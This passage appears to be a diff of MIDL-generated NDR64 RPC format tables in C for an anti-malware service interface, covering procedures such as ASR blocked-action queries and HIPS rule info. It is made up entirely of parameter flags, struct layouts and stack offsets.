Proc146_ServerMpGetTaskSchedulerStrings */ + { + /* Proc146_ServerMpGetTaskSchedulerStrings */ /* procedure Proc146_ServerMpGetTaskSchedulerStrings */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1381, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1376_t __midl_frag1376 = +{ +/* Proc145_ServerMpRpcDeleteAsrHistory */ + { + /* Proc145_ServerMpRpcDeleteAsrHistory */ /* procedure Proc145_ServerMpRpcDeleteAsrHistory */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1372_t __midl_frag1372 = +{ +/* *Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1368 +}; + +static const __midl_frag1369_t __midl_frag1369 = +{ +/* Struct_3220_t */ + { + /* Struct_3220_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3220_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1368_t __midl_frag1368 = +{ +/* Struct_3220_t */ + { + /* Struct_3220_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3220_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1369 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1366_t __midl_frag1366 = +{ +/* **Struct_3220_t */ + { + /* **Struct_3220_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3220_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1397 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1368 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1372 + } +}; + +static const __midl_frag1365_t __midl_frag1365 = +{ +/* **Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1366 +}; + +static const __midl_frag1364_t __midl_frag1364 = +{ +/* ***Struct_3220_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1365 +}; + +static const __midl_frag1358_t __midl_frag1358 = +{ +/* Proc144_ServerMpRpcGetAsrBlockedActions */ + { + /* Proc144_ServerMpRpcGetAsrBlockedActions */ /* procedure Proc144_ServerMpRpcGetAsrBlockedActions */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1364, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1354_t __midl_frag1354 = +{ +/* *Struct_3166_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1351 +}; + +static const __midl_frag1353_t __midl_frag1353 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1351_t __midl_frag1351 = +{ +/* Struct_3166_t */ + { + /* Struct_3166_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3166_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1353, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1350_t __midl_frag1350 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag1349_t __midl_frag1349 = +{ +/* **Struct_3166_t */ + { + /* **Struct_3166_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3166_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1350 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3166_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1351 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1354 + } +}; + +static const __midl_frag1348_t __midl_frag1348 = +{ +/* **Struct_3166_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1349 +}; + +static const __midl_frag1347_t __midl_frag1347 = +{ +/* ***Struct_3166_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1348 +}; + +static const __midl_frag1342_t __midl_frag1342 = +{ +/* Proc143_ServerMpRpcGetAsrBlockedProcesses */ + { + /* Proc143_ServerMpRpcGetAsrBlockedProcesses */ /* procedure Proc143_ServerMpRpcGetAsrBlockedProcesses */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1347, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1331_t __midl_frag1331 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1519 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1330_t __midl_frag1330 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1331 +}; + +static const __midl_frag1328_t __midl_frag1328 = +{ +/* Proc141_ServerMpXBGMUpdateIV */ + { + /* Proc141_ServerMpXBGMUpdateIV */ /* procedure Proc141_ServerMpXBGMUpdateIV */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1331, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1313_t __midl_frag1313 = +{ +/* Struct_3108_t */ + { + /* Struct_3108_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3108_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1312_t __midl_frag1312 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1311_t __midl_frag1311 = +{ +/* **Struct_3108_t */ + { + /* **Struct_3108_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3108_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1312 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2261 + } +}; + +static const __midl_frag1310_t __midl_frag1310 = +{ +/* **Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1311 +}; + +static const __midl_frag1309_t __midl_frag1309 = +{ +/* ***Struct_3108_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1310 +}; + +static const __midl_frag1306_t __midl_frag1306 = +{ +/* Proc138_ServerMpRpcGetHIPSRuleInfo */ + { + /* Proc138_ServerMpRpcGetHIPSRuleInfo */ /* procedure Proc138_ServerMpRpcGetHIPSRuleInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size 